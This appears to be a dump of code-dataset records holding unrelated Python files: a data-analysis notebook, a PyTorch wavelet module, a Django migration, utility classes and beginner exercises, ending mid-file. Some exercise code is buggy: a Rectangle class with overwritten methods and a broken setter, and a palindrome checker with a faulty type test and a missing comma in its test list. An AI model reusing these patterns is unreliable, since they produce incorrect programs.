os.path.join(current_app.root_path,'static/profile_pics',storage_filename)\n\n\n #setting file size\n output_size = (200,200)\n pic = Image.open(pic_upload)\n pic.thumbnail(output_size)\n pic.save(filepath)\n\n return storage_filename\n","sub_path":"scandiKitchen/users/pictures.py","file_name":"pictures.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"466838748","text":"\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport datetime\nimport os\n#print(os.listdir(\"../input\"))\n\nimport time\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n### matplotlib inline\n#make wider graphs\nsns.set(rc={'figure.figsize':(12,5)});\nplt.figure(figsize=(12,5));\n#import first 10,000,000 rows of train and all test data\ntrain = pd.read_csv('../input/train.csv', nrows=10000000)\ntest = pd.read_csv('../input/test.csv')\ntrain.head()\ntest.head()\nvariables = ['ip', 'app', 'device', 'os', 'channel']\nfor v in variables:\n train[v] = train[v].astype('category')\n test[v]=test[v].astype('category')\n#set click_time and attributed_time as timeseries\ntrain['click_time'] = pd.to_datetime(train['click_time'])\ntrain['attributed_time'] = pd.to_datetime(train['attributed_time'])\ntest['click_time'] = pd.to_datetime(test['click_time'])\n\n#set as_attributed in train as a categorical\ntrain['is_attributed']=train['is_attributed'].astype('category')\ntrain.describe()\nplt.figure(figsize=(10, 6))\ncols = ['ip', 'app', 'device', 'os', 'channel']\nuniques = [len(train[col].unique()) for col in cols]\nsns.set(font_scale=1.2)\nax = sns.barplot(cols, uniques, log=True)\nax.set(xlabel='Feature', ylabel='log(unique count)', title='Number of unique values per feature (from 10,000,000 samples)')\nfor p, uniq in zip(ax.patches, uniques):\n height = p.get_height()\n ax.text(p.get_x()+p.get_width()/2.,\n height + 10,\n uniq,\n ha=\"center\") \n# for col, uniq in zip(cols, uniques):\n# ax.text(col, uniq, uniq, color='black', ha=\"center\")\n#double check that 'attributed_time' is not Null for all values that resulted in download (i.e. is_attributed == 1)\ntrain[['attributed_time', 'is_attributed']][train['is_attributed']==1].describe()\n#set click_id to categorical, for cleaner statistics view\ntest['click_id']=test['click_id'].astype('category')\ntest.describe()\nplt.figure(figsize=(6,6))\n#sns.set(font_scale=1.2)\nmean = (train.is_attributed.values == 1).mean()\nax = sns.barplot(['App Downloaded (1)', 'Not Downloaded (0)'], [mean, 1-mean])\nax.set(ylabel='Proportion', title='App Downloaded vs Not Downloaded')\nfor p, uniq in zip(ax.patches, [mean, 1-mean]):\n height = p.get_height()\n ax.text(p.get_x()+p.get_width()/2.,\n height+0.01,\n '{}%'.format(round(uniq * 100, 2)),\n ha=\"center\")\n#temporary table to see ips with their associated count frequencies\ntemp = train['ip'].value_counts().reset_index(name='counts')\ntemp.columns = ['ip', 'counts']\ntemp[:10]\n#add temporary counts of ip feature ('counts') to the train table, to see if IPs with high counts have conversions\ntrain= train.merge(temp, on='ip', how='left')\n#check top 10 values\ntrain[train['is_attributed']==1].sort_values('counts', ascending=False)[:10]\ntrain[train['is_attributed']==1].ip.describe()\n#convert 'is_attributed' back to numeric for proportion calculations\ntrain['is_attributed']=train['is_attributed'].astype(int)\nproportion = train[['ip', 'is_attributed']].groupby('ip', as_index=False).mean().sort_values('is_attributed', ascending=False)\ncounts = train[['ip', 'is_attributed']].groupby('ip', as_index=False).count().sort_values('is_attributed', ascending=False)\nmerge = counts.merge(proportion, on='ip', how='left')\nmerge.columns = ['ip', 'click_count', 'prop_downloaded']\n\nax = merge[:300].plot(secondary_y='prop_downloaded')\nplt.title('Conversion Rates over Counts of 300 Most Popular IPs')\nax.set(ylabel='Count of clicks')\nplt.ylabel('Proportion Downloaded')\nplt.show()\n\nprint('Counversion Rates over Counts of Most Popular IPs')\nprint(merge[:20])\n\nproportion = train[['app', 'is_attributed']].groupby('app', as_index=False).mean().sort_values('is_attributed', ascending=False)\ncounts = train[['app', 'is_attributed']].groupby('app', as_index=False).count().sort_values('is_attributed', ascending=False)\nmerge = counts.merge(proportion, on='app', how='left')\nmerge.columns = ['app', 'click_count', 'prop_downloaded']\n\nax = merge[:100].plot(secondary_y='prop_downloaded')\nplt.title('Conversion Rates over Counts of 100 Most Popular Apps')\nax.set(ylabel='Count of clicks')\nplt.ylabel('Proportion Downloaded')\nplt.show()\n\nprint('Counversion Rates over Counts of Most Popular Apps')\nprint(merge[:20])\nproportion = train[['os', 'is_attributed']].groupby('os', as_index=False).mean().sort_values('is_attributed', ascending=False)\ncounts = train[['os', 'is_attributed']].groupby('os', as_index=False).count().sort_values('is_attributed', ascending=False)\nmerge = counts.merge(proportion, on='os', how='left')\nmerge.columns = ['os', 'click_count', 'prop_downloaded']\n\nax = merge[:100].plot(secondary_y='prop_downloaded')\nplt.title('Conversion Rates over Counts of 100 Most Popular Operating Systems')\nax.set(ylabel='Count of clicks')\nplt.ylabel('Proportion Downloaded')\nplt.show()\n\nprint('Counversion Rates over Counts of Most Popular Operating Systems')\nprint(merge[:20])\nproportion = train[['device', 'is_attributed']].groupby('device', as_index=False).mean().sort_values('is_attributed', ascending=False)\ncounts = train[['device', 'is_attributed']].groupby('device', as_index=False).count().sort_values('is_attributed', ascending=False)\nmerge = counts.merge(proportion, on='device', how='left')\nmerge.columns = ['device', 'click_count', 'prop_downloaded']\n\nprint('Count of clicks and proportion of downloads by device:')\nprint(merge)\nproportion = train[['channel', 'is_attributed']].groupby('channel', as_index=False).mean().sort_values('is_attributed', ascending=False)\ncounts = train[['channel', 'is_attributed']].groupby('channel', as_index=False).count().sort_values('is_attributed', ascending=False)\nmerge = counts.merge(proportion, on='channel', how='left')\nmerge.columns = ['channel', 'click_count', 'prop_downloaded']\n\nax = merge[:100].plot(secondary_y='prop_downloaded')\nplt.title('Conversion Rates over Counts of 100 Most Popular Apps')\nax.set(ylabel='Count of clicks')\nplt.ylabel('Proportion Downloaded')\nplt.show()\n\nprint('Counversion Rates over Counts of Most Popular Channels')\nprint(merge[:20])\ntrain_smp = pd.read_csv('../input/train_sample.csv')\ntrain_smp.head(7)\n#convert click_time and attributed_time to time series\ntrain_smp['click_time'] = pd.to_datetime(train_smp['click_time'])\ntrain_smp['attributed_time'] = pd.to_datetime(train_smp['attributed_time'])\n#round the time to nearest hour\ntrain_smp['click_rnd']=train_smp['click_time'].dt.round('H') \n\n#check for hourly patterns\ntrain_smp[['click_rnd','is_attributed']].groupby(['click_rnd'], as_index=True).count().plot()\nplt.title('HOURLY CLICK FREQUENCY');\nplt.ylabel('Number of Clicks');\n\ntrain_smp[['click_rnd','is_attributed']].groupby(['click_rnd'], as_index=True).mean().plot()\nplt.title('HOURLY CONVERSION RATIO');\nplt.ylabel('Converted Ratio');\n#extract hour as a feature\ntrain_smp['click_hour']=train_smp['click_time'].dt.hour\ntrain_smp.head(7)\ntrain_smp[['click_hour','is_attributed']].groupby(['click_hour'], as_index=True).count().plot(kind='bar', color='#a675a1')\nplt.title('HOURLY CLICK FREQUENCY Barplot');\nplt.ylabel('Number of Clicks');\n\ntrain_smp[['click_hour','is_attributed']].groupby(['click_hour'], as_index=True).count().plot(color='#a675a1')\nplt.title('HOURLY CLICK FREQUENCY Lineplot');\nplt.ylabel('Number of Clicks');\ntrain_smp[['click_hour','is_attributed']].groupby(['click_hour'], as_index=True).mean().plot(kind='bar', color='#75a1a6')\nplt.title('HOURLY CONVERSION RATIO Barplot');\nplt.ylabel('Converted Ratio');\n\ntrain_smp[['click_hour','is_attributed']].groupby(['click_hour'], as_index=True).mean().plot( color='#75a1a6')\nplt.title('HOURLY CONVERSION RATIO Lineplot');\nplt.ylabel('Converted Ratio');\n#adapted from https://stackoverflow.com/questions/9103166/multiple-axis-in-matplotlib-with-different-scales\n#smonek's answer\n\n\ngroup = train_smp[['click_hour','is_attributed']].groupby(['click_hour'], as_index=False).mean()\nx = group['click_hour']\nymean = group['is_attributed']\ngroup = train_smp[['click_hour','is_attributed']].groupby(['click_hour'], as_index=False).count()\nycount = group['is_attributed']\n\n\nfig = plt.figure()\nhost = fig.add_subplot(111)\n\npar1 = host.twinx()\n\nhost.set_xlabel(\"Time\")\nhost.set_ylabel(\"Proportion Converted\")\npar1.set_ylabel(\"Click Count\")\n\n#color1 = plt.cm.viridis(0)\n#color2 = plt.cm.viridis(0.5)\ncolor1 = '#75a1a6'\ncolor2 = '#a675a1'\n\np1, = host.plot(x, ymean, color=color1,label=\"Proportion Converted\")\np2, = par1.plot(x, ycount, color=color2, label=\"Click Count\")\n\nlns = [p1, p2]\nhost.legend(handles=lns, loc='best')\n\nhost.yaxis.label.set_color(p1.get_color())\npar1.yaxis.label.set_color(p2.get_color())\n\nplt.savefig(\"pyplot_multiple_y-axis.png\", bbox_inches='tight')\nsns.barplot('click_hour', 'is_attributed', data=train_smp)\nplt.title('HOURLY CONVERSION RATIO');\nplt.ylabel('Converted Ratio');\ntrain_smp['timePass']= train_smp['attributed_time']-train_smp['click_time']\n#check:\ntrain_smp[train_smp['is_attributed']==1][:15]\ntrain_smp['timePass'].describe()\n#check first 10,000,000 of actual train data\ntrain['timePass']= train['attributed_time']-train['click_time']\ntrain['timePass'].describe()\n","sub_path":"sources/talkingdata-eda-plus-time-patterns.py","file_name":"talkingdata-eda-plus-time-patterns.py","file_ext":"py","file_size_in_byte":9153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"384680191","text":"import torch.nn as nn\nimport pywt\nimport pytorch_wavelets.dwt.lowlevel as lowlevel\nimport torch\n\n\n#def get_highpass_filter(var_filter):\n# print(var_filter)\n# a = torch.pow(-1., torch.arange(1.,1+ var_filter.size(0)))\n# return a*torch.flip(var_filter,[0])\n\ndef get_highpass_filter(var_filter):\n a = torch.zeros_like(var_filter)\n a[0, 0, :, 0] = torch.pow(-1., torch.arange(0., var_filter.size(2)))\n return a*torch.flip(var_filter,[2])\n\nclass DWTForward(nn.Module):\n \"\"\" Performs a 2d DWT Forward decomposition of an image\n\n Args:\n J (int): Number of levels of decomposition\n wave (str or pywt.Wavelet): Which wavelet to use. Can be a string to\n pass to pywt.Wavelet constructor, can also be a pywt.Wavelet class,\n or can be a two tuple of array-like objects for the analysis low and\n high pass filters.\n mode (str): 'zero', 'symmetric', 'reflect' or 'periodization'. The\n padding scheme\n separable (bool): whether to do the filtering separably or not (the\n naive implementation can be faster on a gpu).\n \"\"\"\n def __init__(self, J=1, wave='db1', mode='zero', separable=True):\n super().__init__()\n self.get_high_from_low = False\n if isinstance(wave, str):\n wave = pywt.Wavelet(wave)\n if isinstance(wave, pywt.Wavelet):\n h0_col, h1_col = wave.dec_lo, wave.dec_hi\n h0_row, h1_row = h0_col, h1_col\n else:\n if len(wave) == 1:\n self.get_high_from_low = True\n h0_col, h1_col = wave[0], None\n h0_row, h1_row = None, None\n if len(wave) == 2:\n h0_col, h1_col = wave[0], wave[1]\n h0_row, h1_row = None, None\n elif len(wave) == 4:\n h0_col, h1_col = wave[0], wave[1]\n h0_row, h1_row = wave[2], wave[3]\n\n # Prepare the filters\n if separable:\n filts = lowlevel.prep_filt_afb2d(h0_col, h1_col, h0_row, h1_row)\n self.h0_col = filts[0]\n self.h1_col = filts[1]\n self.h0_row = filts[2]\n self.h1_row = filts[3]\n else:\n filts, self.h0_col, self.h1_col, self.h0_row, self.h1_row = lowlevel.prep_filt_afb2d_nonsep(\n h0_col, h1_col, h0_row, h1_row)\n\n self.h = filts\n self.J = J\n self.mode = mode\n self.separable = separable\n\n def get_filts(self):\n if self.get_high_from_low:\n self.h0_row = self.h0_col.reshape((1, 1, 1, -1))\n self.h1_col = get_highpass_filter(self.h0_col)\n self.h1_row = self.h1_col.reshape((1, 1, 1, -1))\n\n if self.separable:\n return (self.h0_col, self.h1_col, self.h0_row, self.h1_row)\n else:\n h0_col_f, h1_col_f, h0_row_f, h1_row_f = [h.flatten() for h in (self.h0_col, self.h1_col, self.h0_row, self.h1_row)]\n ll = torch.ger(h0_col_f, h0_row_f)\n lh = torch.ger(h1_col_f, h0_row_f)\n hl = torch.ger(h0_col_f, h1_row_f)\n hh = torch.ger(h1_col_f, h1_row_f)\n filts = torch.stack([ll[None], lh[None],\n hl[None], hh[None]], dim=0)\n return filts\n\n def forward(self, x):\n \"\"\" Forward pass of the DWT.\n\n Args:\n x (tensor): Input of shape :math:`(N, C_{in}, H_{in}, W_{in})`\n\n Returns:\n (yl, yh)\n tuple of lowpass (yl) and bandpass (yh)\n coefficients. yh is a list of length J with the first entry\n being the finest scale coefficients. yl has shape\n :math:`(N, C_{in}, H_{in}', W_{in}')` and yh has shape\n :math:`list(N, C_{in}, 3, H_{in}'', W_{in}'')`. The new\n dimension in yh iterates over the LH, HL and HH coefficients.\n\n Note:\n :math:`H_{in}', W_{in}', H_{in}'', W_{in}''` denote the correctly\n downsampled shapes of the DWT pyramid.\n \"\"\"\n yh = []\n ll = x\n\n filts = self.get_filts()\n # Do a multilevel transform\n for j in range(self.J):\n # Do 1 level of the transform\n if self.separable:\n #filts = (self.h0_col, self.h1_col, self.h0_row, self.h1_row)\n y = lowlevel.afb2d(ll, filts, self.mode)\n else:\n y = lowlevel.afb2d_nonsep(ll, filts, self.mode)\n\n # Separate the low and bandpasses\n s = y.shape\n y = y.reshape(s[0], -1, 4, s[-2], s[-1])\n ll = y[:,:,0].contiguous()\n yh.append(y[:,:,1:].contiguous())\n\n return ll, yh\n\n\nclass DWTInverse(nn.Module):\n \"\"\" Performs a 2d DWT Inverse reconstruction of an image\n\n Args:\n wave (str or pywt.Wavelet): Which wavelet to use\n C: deprecated, will be removed in future\n \"\"\"\n def __init__(self, wave='db1', mode='zero', separable=True):\n super().__init__()\n self.mode = mode\n self.separable = separable\n self.g0_col, self.g1_col, self.g1_row, self.g0_row, self.h = None, None, None, None, None\n\n if wave is None:\n return\n\n if isinstance(wave, str):\n wave = pywt.Wavelet(wave)\n if isinstance(wave, pywt.Wavelet):\n g0_col, g1_col = wave.rec_lo, wave.rec_hi\n g0_row, g1_row = g0_col, g1_col\n else:\n if len(wave) == 2:\n g0_col, g1_col = wave[0], wave[1]\n g0_row, g1_row = None, None\n elif len(wave) == 4:\n g0_col, g1_col = wave[0], wave[1]\n g0_row, g1_row = wave[2], wave[3]\n # Prepare the filters\n if separable:\n filts = lowlevel.prep_filt_sfb2d(g0_col, g1_col, g0_row, g1_row)\n self.g0_col = filts[0]\n self.g1_col = filts[1]\n self.g0_row = filts[2]\n self.g1_row = filts[3]\n else:\n filts = lowlevel.prep_filt_sfb2d_nonsep(\n g0_col, g1_col, g0_row, g1_row)\n self.h = nn.Parameter(filts, requires_grad=False)\n\n\n\n def forward(self, coeffs):\n return self.reconstruct(coeffs, self.g0_col, self.g1_col, self.g0_row, self.g1_row)\n\n def reconstruct(self, coeffs, g0_col, g1_col, g0_row, g1_row):\n return reconstruct(coeffs, g0_col, g1_col, g0_row, g1_row, self.h, self.mode, self.separable)\n\n def rec_from_dec(self, coeffs, h0_col, h1_col, h0_row, h1_row):\n self.g0_col, self.g1_col, self.g0_row, self.g1_row = get_rec_filters(h0_col, h1_col, h0_row, h1_row)\n return self.reconstruct(coeffs, self.g0_col, self.g1_col, self.g0_row, self.g1_row )\n\n\ndef get_rec_filters(h0_col, h1_col, h0_row, h1_row):\n g0_col = h0_col #torch.flip(h0_col, [2])\n g1_col = h1_col #torch.flip(h1_col, [2])\n g0_row = h0_row #torch.flip(h0_row, [2])\n g1_row = h1_row #torch.flip(h1_row, [2])\n return g0_col, g1_col, g0_row, g1_row\n\ndef reconstruct(coeffs, g0_col, g1_col, g0_row, g1_row, h_filts, mode, separable):\n \"\"\"\n Args:\n coeffs (yl, yh): tuple of lowpass and bandpass coefficients, where:\n yl is a lowpass tensor of shape :math:`(N, C_{in}, H_{in}',\n W_{in}')` and yh is a list of bandpass tensors of shape\n :math:`list(N, C_{in}, 3, H_{in}'', W_{in}'')`. I.e. should match\n the format returned by DWTForward\n\n Returns:\n Reconstructed input of shape :math:`(N, C_{in}, H_{in}, W_{in})`\n\n Note:\n :math:`H_{in}', W_{in}', H_{in}'', W_{in}''` denote the correctly\n downsampled shapes of the DWT pyramid.\n\n Note:\n Can have None for any of the highpass scales and will treat the\n values as zeros (not in an efficient way though).\n \"\"\"\n yl, yh = coeffs\n ll = yl\n\n # Do a multilevel inverse transform\n for h in yh[::-1]:\n if h is None:\n h = torch.zeros(ll.shape[0], ll.shape[1], 3, ll.shape[-2],\n ll.shape[-1], device=ll.device)\n\n # 'Unpad' added dimensions\n if ll.shape[-2] > h.shape[-2]:\n ll = ll[...,:-1,:]\n if ll.shape[-1] > h.shape[-1]:\n ll = ll[...,:-1]\n\n # Do the synthesis filter banks\n if separable:\n lh, hl, hh = torch.unbind(h, dim=2)\n filts = (g0_col, g1_col, g0_row, g1_row)\n ll = lowlevel.sfb2d(ll, lh, hl, hh, filts, mode=mode)\n else:\n c = torch.cat((ll[:,:,None], h), dim=2)\n ll = lowlevel.sfb2d_nonsep(c, h_filts, mode=mode)\n return ll","sub_path":"pytorch_wavelets/dwt/transform2d.py","file_name":"transform2d.py","file_ext":"py","file_size_in_byte":8599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"416743147","text":"# Resolve the problem!!\n\nPALINDROMES = [\n 'Acaso hubo buhos aca',\n 'A la catalana banal atacala',\n 'Amar da drama',\n]\n\nNOT_PALINDROMES = [\n 'Hola como estas',\n 'Platzi'\n 'Oscar',\n]\n\n\ndef is_palindrome(palindrome):\n # Start coding here\n # Si no es un string, tratamos de convertirlo\n if type(palindrome) != 'string':\n palindrome = str(palindrome)\n # Primero necesito quitar los espacios\n p = palindrome.replace(' ', '')\n # Despues necesito convertir el texto en minúsculas\n p = p.lower()\n\n # ¿Como podria hacer la comparacion de manera eficiente?\n # Algunas ideas:\n # 1. Partir el string en dos y voltear la segunda mitad y comparar con la primera\n # 2. Algún loop que compare el primer indice con el ultimo y vayan recorriendose\n n = len(p)\n pivot = n // 2 # [1]\n palindrome_found = True\n i = 0\n\n while palindrome_found and i < pivot:\n print(f'Comparando {p[i]} con {p[n - i - 1]}')\n if (p[i] != p[n - i - 1]):\n # Si encontramos una letra que no es igual, no tiene caso seguir comparando\n palindrome_found = False\n i += 1\n\n print(f'\"{palindrome}\" {\"es\" if palindrome_found else \"no es\"} un palíndromo')\n\n return palindrome_found\n\n\ndef validate():\n for palindrome in PALINDROMES:\n if not is_palindrome(palindrome):\n return False\n\n for not_palindrome in NOT_PALINDROMES:\n if is_palindrome(not_palindrome):\n return False\n return True\n\n\ndef run():\n if validate():\n print('Completaste el test')\n else:\n print('No completaste el test')\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"271931411","text":"#!/usr/bin/python3\r\n\r\n\r\nclass Rectangle:\r\n def __init__(self, width=0, height=0):\r\n self.height = height\r\n self.width = width\r\n\r\n def height(self):\r\n return self.height\r\n\r\n def height(self, value):\r\n if not isinstance(value, int):\r\n if isinstance(value, float):\r\n value = int(value)\r\n else:\r\n raise TypeError(\"height must be an integer\")\r\n if value < 0:\r\n raise ValueError(\"height must be >= 0\")\r\n\r\n def width(self):\r\n return self.width\r\n\r\n def width(self, value):\r\n if isinstance(value, int):\r\n if value < 0:\r\n raise ValueError(\"width must be >= 0\")\r\n else:\r\n self.value = value\r\n elif isinstance(value, float):\r\n if value < 0:\r\n raise ValueError(\"width must be >= 0\")\r\n else:\r\n self.value = int(value)\r\n else:\r\n raise TypeError(\"width must be an integer\")\r\n","sub_path":"0x08-python-more_classes/1-rectangle.py","file_name":"1-rectangle.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"631567513","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.utils.timezone\nimport django.db.models.deletion\nimport wagtail.wagtailcore.fields\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('v1', '0058_adding_clickable_image_to_50_50'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Answer',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('question', models.TextField(blank=True)),\n ('snippet', wagtail.wagtailcore.fields.RichTextField(help_text='Optional answer intro', blank=True)),\n ('answer', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n ('slug', models.SlugField(max_length=255, blank=True)),\n ('question_es', models.TextField(verbose_name='Spanish question', blank=True)),\n ('snippet_es', wagtail.wagtailcore.fields.RichTextField(help_text='Optional Spanish answer intro', verbose_name='Spanish snippet', blank=True)),\n ('answer_es', wagtail.wagtailcore.fields.RichTextField(verbose_name='Spanish answer', blank=True)),\n ('slug_es', models.SlugField(max_length=255, verbose_name='Spanish slug', blank=True)),\n ('tagging', models.CharField(help_text='Search words or phrases, separated by commas', max_length=1000, blank=True)),\n ('update_english_page', models.BooleanField(default=False, verbose_name='Send to English page for review')),\n ('update_spanish_page', models.BooleanField(default=False, verbose_name='Send to Spanish page for review')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('updated_at', models.DateTimeField(auto_now=True)),\n ('last_edited', models.DateField(help_text='Change the date to today if you edit an English question, snippet or answer.', null=True, verbose_name='Last edited English content', blank=True)),\n ('last_edited_es', models.DateField(help_text='Change the date to today if you edit a Spanish question, snippet or answer.', null=True, verbose_name='Last edited Spanish content', blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='AnswerPage',\n fields=[\n ('cfgovpage_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='v1.CFGOVPage')),\n ('question', wagtail.wagtailcore.fields.RichTextField(editable=False, blank=True)),\n ('answer', wagtail.wagtailcore.fields.RichTextField(editable=False, blank=True)),\n ('snippet', wagtail.wagtailcore.fields.RichTextField(help_text='Optional answer intro', editable=False, blank=True)),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('updated_at', models.DateTimeField(auto_now=True)),\n ('publish_date', models.DateTimeField(default=django.utils.timezone.now)),\n ('answer_base', models.ForeignKey(related_name='answer_pages', on_delete=django.db.models.deletion.PROTECT, blank=True, to='ask_cfpb.Answer', null=True)),\n ],\n options={\n 'abstract': False,\n },\n bases=('v1.cfgovpage',),\n ),\n migrations.CreateModel(\n name='Audience',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ],\n ),\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ('name_es', models.CharField(max_length=255)),\n ('slug', models.SlugField()),\n ('slug_es', models.SlugField()),\n ('intro', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n ('intro_es', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n ('featured_questions', models.ManyToManyField(related_name='featured_questions', to='ask_cfpb.Answer', blank=True)),\n ],\n options={\n 'ordering': ['name'],\n 'verbose_name_plural': 'Categories',\n },\n ),\n migrations.CreateModel(\n name='NextStep',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=255)),\n ('show_title', models.BooleanField(default=False)),\n ('text', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='SubCategory',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ('name_es', models.CharField(max_length=255, null=True, blank=True)),\n ('slug', models.SlugField()),\n ('slug_es', models.SlugField(null=True, blank=True)),\n ('featured', models.BooleanField(default=False)),\n ('weight', models.IntegerField(default=1)),\n ('description', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n ('description_es', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n ('more_info', models.TextField(blank=True)),\n ('parent', models.ForeignKey(default=None, blank=True, to='ask_cfpb.Category', null=True)),\n ('related_subcategories', models.ManyToManyField(default=None, related_name='_subcategory_related_subcategories_+', to='ask_cfpb.SubCategory', blank=True)),\n ],\n options={\n 'ordering': ['-weight'],\n 'verbose_name_plural': 'Subcategories',\n },\n ),\n migrations.AddField(\n model_name='answer',\n name='audiences',\n field=models.ManyToManyField(help_text='Pick any audiences that may be interested in the answer', to='ask_cfpb.Audience', blank=True),\n ),\n migrations.AddField(\n model_name='answer',\n name='category',\n field=models.ManyToManyField(help_text='This associates an answer with a portal page', to='ask_cfpb.Category', blank=True),\n ),\n migrations.AddField(\n model_name='answer',\n name='last_user',\n field=models.ForeignKey(blank=True, to=settings.AUTH_USER_MODEL, null=True),\n ),\n migrations.AddField(\n model_name='answer',\n name='next_step',\n field=models.ForeignKey(blank=True, to='ask_cfpb.NextStep', help_text='Also called action items or upsell items', null=True),\n ),\n migrations.AddField(\n model_name='answer',\n name='related_questions',\n field=models.ManyToManyField(help_text='Maximum of 3', related_name='related_question', to='ask_cfpb.Answer', blank=True),\n ),\n migrations.AddField(\n model_name='answer',\n name='subcategory',\n field=models.ManyToManyField(help_text='Choose any subcategories related to the answer', to='ask_cfpb.SubCategory', blank=True),\n ),\n ]\n","sub_path":"cfgov/ask_cfpb/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":7792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"89334111","text":"from datetime import timedelta\n\nfrom .results import Result\n\n\ndef get_entries_list(data_source, repo_name, committer=None, issue=None,\n milestone=None):\n repo = data_source.get_repo(repo_name)\n if not repo:\n return {\n 'result': Result.REPO_NOT_FOUND\n }\n entries = []\n if issue:\n issue = repo.get_issue(issue)\n entries.extend(issue.get_entries())\n if committer:\n for commit in repo.get_commits_by_user_name(committer):\n entries.extend(commit.get_entries())\n if not issue and not committer:\n for issue in repo.get_issues():\n entries.extend(issue.get_entries())\n for commit in repo.get_commits():\n entries.extend(commit.get_entries())\n return {\n 'result': Result.OK,\n 'entries': entries\n }\n\n\ndef get_total_stats(data_source, repo_name, committer=None, issue=None,\n milestone=None):\n \"\"\"Return a summary of time entries data for given queries.\"\"\"\n data = get_entries_list(\n data_source, repo_name, committer, issue, milestone)\n if data['result'] == Result.OK:\n return {\n 'result': Result.OK,\n 'time': sum((e.time for e in data['entries']), timedelta()),\n 'entries': len(data['entries']),\n }\n else:\n return data # Forward the error\n","sub_path":"time_tracker/core/usecases.py","file_name":"usecases.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"40370052","text":"\"\"\"Classes for elements along the tree from files to fields\"\"\"\n\nfrom __future__ import print_function\nfrom string import ascii_letters\nfrom datetime import datetime, timedelta\n\nfrom viscid.compat import string_types\nfrom viscid.vutil import format_time as generic_format_time\n\nclass Node(object):\n \"\"\"Base class for Datasets and Grids\"\"\"\n\n name = None\n time = None\n _info = None\n parents = None\n\n def __init__(self, name=None, time=None, info=None, parents=None):\n if name is None:\n name = \"<{0} @ {1}>\".format(self.__class__.__name__, hex(id(self)))\n self.name = name\n self.time = time\n\n if info is None:\n info = dict()\n self._info = info\n\n if parents is None:\n parents = []\n if not isinstance(parents, (list, tuple)):\n parents = [parents]\n self.parents = parents\n\n def prepare_child(self, obj):\n if not self in obj.parents:\n obj.parents.append(self)\n\n def tear_down_child(self, obj):\n try:\n obj.parents.remove(self)\n except ValueError:\n pass\n\n def _parent_bfs(self, condition, getvalue=None):\n \"\"\"Breadth first search of parent\n\n Args:\n condition (callable): function for match condition, must\n take 2 arguments, the first being the object in\n question, and the 2nd being a value returned by\n getvalue.\n value (callable, optional): if given, call on the object\n in question, and return a value that will be passed to\n condition. Then return value in addition to the object\n if condition is True.\n\n Returns:\n Node, or (Node, value) if getvalue is given\n \"\"\"\n visited_nodes = {}\n\n # import inspect\n # try:\n # _s = inspect.stack()[3][3]\n # except IndexError:\n # _s = inspect.stack()[1][3]\n # print(\"== parent_bfs\", _s)\n\n if getvalue is None:\n # print(\"..parent_bfs:\", self, condition(self, None))\n if condition(self, None):\n return self\n else:\n val = getvalue(self)\n # print(\"..parent_bfs:\", self, condition(self, val), val)\n if condition(self, val):\n return self, val\n\n this_level = []\n next_level = self.parents\n while len(next_level) > 0:\n this_level = next_level\n next_level = []\n for obj in this_level:\n # check for circular refernces\n if id(obj) in visited_nodes:\n continue\n # see if this is our node, and return if true\n if getvalue is None:\n # print(\"..parent_bfs:\", obj, condition(obj, None))\n if condition(obj, None):\n return obj\n else:\n value = getvalue(obj)\n # print(\"..parent_bfs:\", obj, condition(obj, value), value)\n if condition(obj, value):\n return obj, value\n # setup the next level parent-ward\n visited_nodes[id(obj)] = True\n next_level += obj.parents\n\n if getvalue is None:\n return None\n else:\n return None, None\n\n def has_info(self, key):\n return key in self._info\n\n def get_info(self, key):\n return self._info[key]\n\n def get_all_info(self):\n all_info = dict()\n def condition(obj, val): # pylint: disable=unused-argument\n for k, v in obj._info.items(): # pylint: disable=protected-access\n if not k in all_info:\n all_info[k] = v\n return False\n self._parent_bfs(condition)\n return all_info\n\n def print_info_tree(self):\n lines = []\n def stringifiy_items(obj, val): # pylint: disable=unused-argument\n prefix = \"....\"\n lines.append(prefix + \":: \" + str(obj))\n for k, v in obj._info.items(): # pylint: disable=protected-access\n 